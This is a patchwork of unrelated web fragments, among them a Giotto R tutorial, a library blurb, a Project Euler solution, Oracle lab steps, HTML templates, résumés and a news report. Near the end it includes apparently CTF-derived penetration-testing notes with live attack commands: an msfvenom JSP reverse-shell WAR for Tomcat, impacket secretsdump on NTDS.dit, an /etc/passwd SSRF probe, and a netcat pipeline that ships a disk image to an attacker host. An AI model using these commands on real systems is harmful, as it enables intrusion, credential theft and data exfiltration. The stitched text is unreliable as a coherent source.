'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAEASURBVEhL7ZXNDcIwDIVTsRBH1uDQDdquUA6IM1xgCA6MwJUN2hk6AQzAz0vl0ETUxC5VT3zSU5w81/mRMGZysixbFEVR0jSKNt8geQU9aRpFmp/keX6AbjZ5oB74vsaN5lSzA4tLSjpBFxsjeSuRy4d2mDdQTWU7YLbXTNN05mKyovj5KL6B7q3hoy3KwdZxBlT+Ipz+jPHrBqOIynZgcZonoukb/0ckiTHqNvDXtXEAaygRbaB9FvUTjRUHsIYS0QaSp+Dw6wT4hiTmYHOcYZsdLQ2CbXa4ftuuYR4x9vYZgdb4vsFYUdmABMYeukK9/SUme3KMFQ77+Yfzh8eYF8+orDuDWU5LAAAAAElFTkSuQmCC'; } }


vignettes/tut3_giotto_dim_reduction.Rmd
tut3_giotto_dim_reduction.Rmd
\(~\)
path_to_matrix = system.file("extdata", "seqfish_field_expr.txt", package = 'Giotto') path_to_locations = system.file("extdata", "seqfish_field_locs.txt", package = 'Giotto') my_giotto_object = createGiottoObject(raw_exprs = path_to_matrix, spatial_locs = path_to_locations) my_giotto_object <- filterGiotto(gobject = my_giotto_object) my_giotto_object <- normalizeGiotto(gobject = my_giotto_object)
\(~\)
# run PCA my_giotto_object <- runPCA(gobject = my_giotto_object) # identify most informative principal components screePlot(my_giotto_object, ncp = 20) jackstrawPlot(my_giotto_object, ncp = 20) # plot PCA results plotPCA(my_giotto_object)
\(~\)


SapphireDb is an open source library that enables you to easily create your own application with realtime data synchronization.
Build amazing applications with less effort and get the best results of your project.
SapphireDb should serve as a self hosted alternative to firebase and also gives you an alternative to SignalR.
SapphireDb is very easy to configure and to use. It is aimed to bring results and not to waste time you could better use for own features. You can easily extend an existing application using EntityFrameworkCore.
Because everything is ready to use SapphireDb increases development speed a lot.
SapphireDb uses modern technologies like ServerSentEvents, Websockets, Entity Framework and RxJs.
Self host your application and keep the control of everything. No third party services are used.
SapphireDb already implements the CRUD operations so you dont need to care about Creating, Reading, Updating and Deleting data on server side.
SapphireDb comes with lots of features to secure you application and data. It also comes with a login provider.
Because SapphireDb is an extension for Entity Framework Core it also supports all database systems supported by EF Core.
SapphireDb adds support for actions. Actions are server methods that can be called through the communication pipeline. Also supports async methods.
SapphireDb also supports running in an NLB with multiple instances and scales very good.


2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.
What is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?
A problem of 'prime factor decomposition'. For example, 2520 is produced in such way:
from 2 to 10, initial list p
is []
p
, p
is [2]
nowp
, p
is [2, 3]
now2 * 2
, one 2
in p
, another needed, so add another 2
to p
, p
is [2, 3, 2]
nowp
, p
is [2, 3, 2, 5]
now2 * 3
, both 2
and 3
are in p
now, nothing need to dop
, p
is [2, 3, 2, 5, 7]
now2 * 2 * 2
, two 2
in p
, another needed, so add another 2
to p
, p
is [2, 3, 2, 5, 7]
now3 * 3
, one 3
in p
, another needed, so add another 3
to p
, p
is [2, 3, 2, 5, 7, 3]
now2 * 5
, one 2
in p
and one 5
in p
, nothing need to doso $$\prod p = 2520$$
Iterate from 2 to 20, gather all prime factors, add if any missing, then its product is result
from collections import Counter
from functools import reduce
def get_prime_factors(number):
d = 2
prime_factors = []
while d ** 2 <= number:
while number % d == 0:
number //= d
prime_factors.append(d)
d += 1
if number != 1:
prime_factors.append(number)
return prime_factors
get_prime_factors(4)
get_prime_factors(10)
get_prime_factors(24)
get_prime_factors(11)
get_prime_factors(2)
def solve(end):
counter = Counter()
for i in range(2, end+1):
for f, cnt in Counter(get_prime_factors(i)).items():
counter[f] = max(counter[f], cnt)
return reduce( lambda a, b: a * b, (f ** cnt for f, cnt in counter.items()), 1)
solve(10)
solve(20)


Convert
The Convert menu provides a means for locating the entities, instances, and AST nodes of selected elements.
Convert menu options include:
• Convert to entity displays the entity related to the selected instance in the Elements column of the Browser.
• Convert to instance displays the instances of the selected entity in the Results column of the Browser.
• Convert to AST node displays the AST node for the selected entity or instance in the Results column of the Browser. You can then double click the AST node to bring it into a Viewer window. This option is helpful when you want to view the Abstract Syntax Tree for a selected entity or instance.


Application Containers
Lab 6: Durable Location Transparency
Overview
Lab6 demonstrates "durable location transparency".
In Lab5 we saw how Proxy PDBs can provide location transparency. The Proxy PDBs
for the Application Root Replicas (ARRs) provided local context (in the master
Application Root) for the ARRs, which are physically located in a different
CDB. This is a good example of location transparency. In this lab, we see how
these ARR Proxies can provide "durable location transparency. That is,
location transparency that survives the physical reconfiguration of the
Application Estate – specifically by relocating an Application PDB for a particular franchise from one CDB to another. Let's get
started!
Execution
- Open a terminal window
- Change directory to /u01/HOL/app_containers/
- source the environment. At command prompt execute source cdb1.env
- sqlplus /nolog
- At the SQL prompt execute<EMAIL_ADDRESS>Review of Application Container Lab5:
In this lab, we have demonstrated "Durable Location Transparency".
1. We executed some application code – in this case aggregating revenue across all franchises.
2. Then we relocated of the franchises to another CDB (without incurring any application outage – the PDB remained open read/write during this operation
3. We re-executed the same application code. It continued to work, despite the relocation of one of the Application PDBs.
In a SaaS operation we typically operate with large number of Application PDBs. On-going operations – load balancing, hardware refreshes, migrations to the Cloud – are going to involve relocation of PDBs. With this in mind, durable location transparency becomes an important capability from the perspective of high availability. Even if a database were technically available, if you can't find it (because it's moved), it might as well be offline. Durable location transparency, enabled via Proxy PDBs of Application Root Replicas (ARRs), is a very important High Availability feature.
Detailed Steps
Phase 1: Run application query: Order volume by franchise.
Lab6_Campaign_Performance.sql runs a query to retrieve order volume by franchise for a specified campaign. Let's print it out. Notice that this is a containers() query, aggregating order volume across all franchises. Of course, Walt's Malts has now expanded beyond a single CDB! Notice also the use of the pseudo-column CDB$Name. This shows from which CDB the data is retrieved. Run the script to execute the query. Now we're going to do some load balancing. We're going to relocate franchise Tahoe from CDB1 to CDB2. Specifically we're going to relocate it to ARR wmStore_West. (Perhaps we could also think of this operation in terms of moving the Application PDB to the physically nearest CDB to minimize latency.) Here we'll use the PDB relocate capability, demonstrated in other Labs.
Phase 2. Relocate PDB Tahoe from wmStore_Master to wmStore_West
Remember that PDB relocate is a "pull" operation. Therefore we need to connect to the target ARR. Initiate the online relocation of franchise Tahoe. Complete the online relocation by opening the PDB in its new location. Now, having relocated franchise Tahoe to CDB2, we're going to re-execute our application query. Pay close attention to the results of this query and compare them to the results from the first time it was run.
Phase 3: Re-run application query:
Notice that the results are identical, with the sole exception that data for franchise Tahoe is now retrieved from CDB2.
Click Here to Go to Lab 7


Fetching games result from OGS: page {{loadingPage}} of {{totalPages}}.
Congratulations, you have lost your first 50 games!


{% extends "global/Base.html" %} {% load staticfiles otree_tags %} {% block title %} Understanding Question {{ num_q }} of {{ total_q }} {% endblock %} {% block content %} {% if num_q == 1 %}
Suppose that Husband chose to go for a football match and Wife chose to go for an opera. What would be their payoffs respectively?
{% formfield player.training_question_1_husband with label='Payoff for Husband would be:' %}
{% formfield player.training_question_1_wife with label='Payoff for Wife would be:' %}
{% endif %} {% next_button %} {% include 'battle_of_the_sexes/Instructions.html' %} {% endblock %}


Designer’s Notes¶
In the Beginning¶
One of the first things I do when learning a new language is to discovery how it generates random numbers. Older computer languages from the ’70s had their own built-in random number generators. Technically, they were pseudo-random number generators. But technically, I wanted to program my Star Trek games anyway no matter what they were called.
In the ’80s, I would discover that not all computer languages came with random number generators built in. Many didn’t have such a thing unless some external software library was installed. Both FORTRAN and C couldn’t do random anything out of the box. A math library had to be picked from the many that were out there. And if none were available, a computer class on campus was available to teach you how to program your own random number generator from scratch.
By the ’90s, random number generators were pretty much standardized as for as how accurately random they were. And they were included in standard libraries for various languages. By the time Python was being developed, the C language used to write Python had very robust random number generators. And because Python was written in C, it just made sense for it to make use of C libraries.
For those that are curious, PyDiceroll uses the random.randint()
module that comes
with CPython. There are stronger random generators out there now, with NumPy being one
of them. But at the time of designing PyDiceroll, I didn’t quite understand how-all
NumPy worked, or what version of it to install. And for rolling dice, the built-in
random number generator would be just fine.
Lessons Learned¶
In the past, when I needed a random number from 1 to say 6 (see 6-sided dice), I would use INT(RND(1)*6) + 1
.
And I would be used to doing it that way for probably 15 years or so, because that is
how most BASIC languages did things. Other languages like C required me to whip out the
80286 System Developer’s 3-ring binder to find out how srand()
and rand()
worked,
and under what circumstances.
Fast-forward 20 years, and I’m learning CPython without knowing the difference between a CPython
or an RPython or any other Python out there. I figured Python was the same all over, even though
I had a feeling Linux did things differently because of its filepath naming and OS commands. And
of course, the first thing I had to try was Python’s random
module, as well as its
ugly-looking randint()
.
Right away I noticed the way Python “loaded” modules was going to be a learning experience. I hadn’t really programmed anything huge since my TANDY Color Computer 3 days running OS-9 Level II and programming in BASIC09 (https://en.wikipedia.org/wiki/BASIC09). Python would reveal different ways of importing modules the more I read about them, and the more code I poured over.
I would soon find that:
import random
print(random.randint(1, 6)) # roll a 6-sided die
Was the same thing as:
from random import randint
print(randint(1, 6)) # roll a 6-sided die
Which looked a bit cleaner. But I was debating if I wanted to use randint()
at all in
my normal coding.
So while I was learning how to write my own functions, as well as how to go about importing them, I came up with
an idea for PyDiceroll. It would include a roll()
function, and a die_rolls()
function as
a “side effect.” Even though die_rolls()
had no error-checking, roll()
would call it after
doing its own error-checking.
I was trying to avoid using:
from PyDiceroll import die_rolls
print(die_rolls(6, 2)) # roll two 6-sided dice
For my dice rolls, I wanted something more readable. Something like:
from PyDiceroll import roll
print(roll('2D6')) # roll two 6-sided dice
It was almost less typing, which I thought was great because I was going to be typing this function a lot for a Python project I had in mind. And it would be a lot easier to spot what kind of rolls were being made in my code. And the simple addition or subtraction of DMs to such a roll was making the function more appealing:
print(roll('2D6+3')) # roll two 6-sided dice and add a DM of +3 to it
The Channel 1¶
diceroll was written years ago. The Classic Python 2.5 code was used by both my TravCalc and TravGen apps, and got looked at by GitHub visitors who would google-by now and again. But not many programmers will ever use the code because of the simple fact that Python is now version 3.9+ something. So diceroll, along with a slew of other pre-Python 2.6 era modules, are the Channel 1 stations in the room that no TV can possibly watch.
It really comes down to a philosophy. I waited on learning Python until a version was released where I could say, “This is Python.” Or say, “This is what Python should be.” Something like that. Well… Python 2.5.4 was my Python.
I once said, “I believe the next great computer programming language will be the one that remains true to its nature/design as it grows. And doesn’t split the party as it grows.” I hung onto Python 2.5.4 for as long as possible. For a good fifteen years. Or I should say for a great fifteen years. Because they were great. But most great things come with an ending to them.
And so it was, that yesterday I would uninstall Python 2.5.4 along with all its things. And today, I would begin the installation of Python 3.9.4. I guess one could say it was the terminated support for Python 2.x this year that nudged me, along with some of the older Python 3.x terminations as well. Even Python 3.9+ saw earlier Python 3’s as dead weight (Python 3’s that I didn’t want to deal with either), such as 3.0, 3.1, 3.2, 3.3, 3.4, and 3.5. And now they are gone. And I can skip ahead to a refined version of Python 3 with no baggage from 2.6 or 2.7 whatsoever.


Contact Details:
Ph#<PHONE_NUMBER>
<EMAIL_ADDRESS>Reactjs, Redux, react-redux, redux-saga, react-router, redux-form,redux-middlewares, selectors, recompose, ES6, styled-components, grid-styled, jest, enzyme.
Angularjs, Angular 4, Typescript, Bootstrap 4, Services, Pipes, Directives, Rxjs, Selenium, mocha, Angular-cli, Routing, lazy-loading.
Grids, widgets, Pagination, jumbotron, flex-box, Date picker, Modals, Messaging, Buttons, Theaming
Reusable css, variables, Mixins, Partials, Normalization, cross browser, Animation, styling, Preprocessing


Coin Totals
{{coin.coin}}
{{coin.balance}}
Online Summary
Address: {{coin.address}}
{{coin.balance}}{{coin.coin}} - {{coin.percentage}}%
Address: {{coin.address}}
{{coin.balance}}{{coin.coin}} - {{coin.percentage}}%
Address: {{coin.address}}
{{coin.balance}}{{coin.coin}} - {{coin.percentage}}%
Offline Summary
Address: {{coin.address}}
{{coin.balance}}{{coin.coin}} - {{coin.percentage}}%
Address: {{coin.address}}
{{coin.balance}}{{coin.coin}} - {{coin.percentage}}%
Address: {{coin.address}}
{{coin.balance}}{{coin.coin}} - {{coin.percentage}}%
Online Coins
{{coin.coin}}
{{coin.balance}}
Offline Coins
{{coin.coin}}
{{coin.balance}}


--- layout: page title: About header-img: "img/about-bg.png" ---
Thank you for visiting my personal blog.
My name is Maia. I live in the US.  I have a B.Sc degree in Financial Accounting. I'm an honored graduate cosmetologist from Paul Mitchel school and a licensed hair & makeup artist. I'm also a data scientist.
This blog is mainly for me to journal my Data Science journey and other things in life.
I wish the best for you!


Welcome to Static Grid
Content Section One
Content Section Two
Content Section Three
Content Section Four


Gujarat: Congress workers clash with police during protest against recruitment exam ‘irregularities’
by Express News ServiceBy: Express News Service | Gandhinagar | Updated: December 9, 2019 2:22:48 pm
“We demand that the state government cancel the Binsachivalay exam that has put the future of students in jeopardy,” Gujarat Pradesh Congress Committee president Amit Chavda said. (File)
Hundreds of supporters of Gujarat Congress, including senior leaders were detained by the police in Gandhinagar on Monday, as a protest march by the Opposition turned violent on the first day of the Gujarat Assembly.
Police used water cannons and pushed Congress supporters into buses as they marched towards the Gujarat Vidhan Sabha from sector 6 in Gandhinagar, protesting against irregularities in Binsachivalay Clerk and Office Assistant exam and economic slowdown.
The protestors broke the windshield of a police vehicle, following which they were escorted in police buses to a nearby spot.
“We demand that the state government cancel the Binsachivalay exam that has put the future of students in jeopardy. Instead of facing us, the government has asked the police to use force on us,” said Amit Chavda, president, Gujarat Pradesh Congress Committee, before he was detained by police.
“Today, the Gujarat Police have failed to arrest rapists but they arrest agitating students and lock them up. This is Gandhi’s Gujarat and students are fighting the second war of independence against the tyrannical and arrogant state government,” said Paresh Dhanani, Leader of the Opposition, Gujarat Vidhan sabha.
Mayur Chavda, Superintendent of Police, Gandhinagar told The Indian Express, “The Congress supporters have been detained and brought to police headquarters in Gandhinagar as of now.”
For all the latest City Others News, download Indian Express App
- Tags:
- Gujarat


Chibuzor Osinachi
Copywriter
I am Osinachi. I love coding, when am not coding, I cook, read books or play video games.
UI/UX designer
graphics designer
Copywriter
Front-end developer


I am a fully professional freelance IT Specialist & Network Engineer
Involving the latest softwares languages and networking technologies.
Feel free to contact me.0711176811
An opportunity to work and upgrade oneself, as well as being involved in an organization that believes in gaining a competitive edge and giving back to the community. I'm presently expanding my solid experience in UI / UX design. I focus on using my interpersonal skills to build good user experience and create a strong interest in my employers. I hope to develop skills in motion design and my knowledge of the Web, and become an honest asset to the business. As an individual, I'm self-confident you’ll find me creative, funny and naturally passionate. I’m a forward thinker, which others may find inspiring when working as a team.
I have been working as a web interface designer since. I have a love of clean, elegant styling, and I have lots of experience in the production of CSS3 and HTML5 for modern websites. I loving creating awesome as per my clients’ need. I think user experience when I try to craft something for my clients. Making a design awesome.
I have completed Bsc. Computer Science degree from Maasai Mara University, Narok,Kenya.
From this school I developed skills in mathematics and sciences scoring grade of A MATH.
I gained a lot of knowledge especially in mathematics scoring 90% A.
End User Support.
Provide day to day end user support on general computer applications and IT systems in the Office and centers
Technical Support.
Install and perform minor repairs to hardware, software, and peripheral equipment, following design or installation specifications.
IT Administration.
Oversee the daily performance of computer systems (Desktop, Laptops / Servers, printers) in the Office and centers.
IT Asset Management.
Maintain an asset register for all IT equipment including hardware, software, telecommunication and network equipment.
.
Roles
Networking LAN wireless internet trouble-shootings.
Maintenance of Data integrity including, Antivirus software management.
Database management and designing, Systems planning and designing
Management of telephone systems, office equipment including faxes, copiers, scanners
Network cabling and management of active devices assigning them IP addresses
.


Time Monitor - Timeline
About
My Events
Timeline
Add an Event
Calendar
Share Feedback
Source Code
add
Add Event
Your Event Timeline
Resources
Github Repository
You can view the github repo for te code to this project, and relevant information related to the same.
Link:
https://github.com/tvvignesh/time-monitor
.
Add an Event


Question 1: Is Portland any fun?
Question 2: Is Jacob allowed to attend the fun things in Portland?
Question 3: Does Jacob have houseplants?
Question 4: Can Jacob watch four horror movies in a row?
Question 5: What's Jacob's favorite book store in Portland?


LOGIN
SIGN UP
PROFILE
This is MusicalSight - a place to share your favorite music related images with other passionate music lovers.
Login or register now to create a gallery of your favorite bands and artists. Let the world see your sound!


{% extends 'base.html' %} {% block content %}
Use one of the functions available below
Proof of Work: 1
Mined at: 2009-01-09
Time: 02:54:25.275350
Previous Hash:
0
Transactions:
Currently mined blocks with transactions data
Proof of Work: 1
Mined at: 2009-01-09
Time: 02:54:25.275350
Previous Hash:
0
Transactions:
Useful Blockchain Tools


Tomcat: /manager/html to see if you get an auth
SSRF
file:///etc/passwd
http://localhost
Tomcat:
War creation, serve, unzip, browse = Shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f war > ippsec.war
now tomcat/ippsec and get your shell
(didn't need to unzip with the jsp_shell, interesting)
NTDS MS Registry file (ie the holy grail of file information from an AD Domain Controller) There are impacket or mimikatz modules to interact with NTDS.dit
Requires both NTDS.dit AND the SYSTEM hive
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
ADMINISTRATOR:500:LM:NTLM
awk -F: '{print $4}' hashes #will give you just the NTLM out of the hash
tmux in tmux, need to
export rows=# tmux
and
export columns=# tmux
Essentially, with tmux, you don't have to start another shell, just multiple tmux windows
authbind allows a user to bypass being root in order to bind lower numbered ports. Ie:
authbind nc -l 21 #will listen on port 21 without needing to be root user
Python can serve up a simple ftp server too!
python -m pyftpdlib -p21 -w
DISK group is another good group to be a part of
ls -la /dev/sd* and see you have rw on disks
find the mapper of the disk you want with the 'mount' command (in this case: /dev/mapper/Kotarak--vg-root)
Now find where the disk actually is located:
ls /dev/mapper/Kotarak--vg-root -> ../dm-0
cd /dev
ls -la | grep dm-0 (check your permissions to ensure you can indeed read)
and now compress and send an image over for analysis
dd if=/dev/dm-0 | gzip -1 - | nc <LIP> <PORT>
obtain disk on attacker side: nc -lvvnp <port> > disk.img.gz
gunzip -d disk.img.gz
and now read your disk.img
with an LXC image, you can go to
/var/lib/lxc and find the rootfs
cd /var/lib/lxc/motarik-int/rootfs/root
cat flag.txt
among other things with the filesystem
Alternatively, something like
debugfs -R "cat /root/root.txt" /dev/sda1
could work if you don't want to copy the entire disk
Never give normal users access to disk group :)


You can’t see black holes but you can observe them in two ways:
1. How other bodies behave around it
2. How time slows down when you get near one, making other objects appear to move fast
Objective: Use your observational skills to stay away from black holes for as long as possible.


Enumerations
The following enumerations are available globally.
-
The method of an HTTP request
See moreDeclaration
Swift
public enum HTTPMethod : String
MBNetworking Docs (46% documented)
The following enumerations are available globally.
The method of an HTTP request
See moreSwift
public enum HTTPMethod : String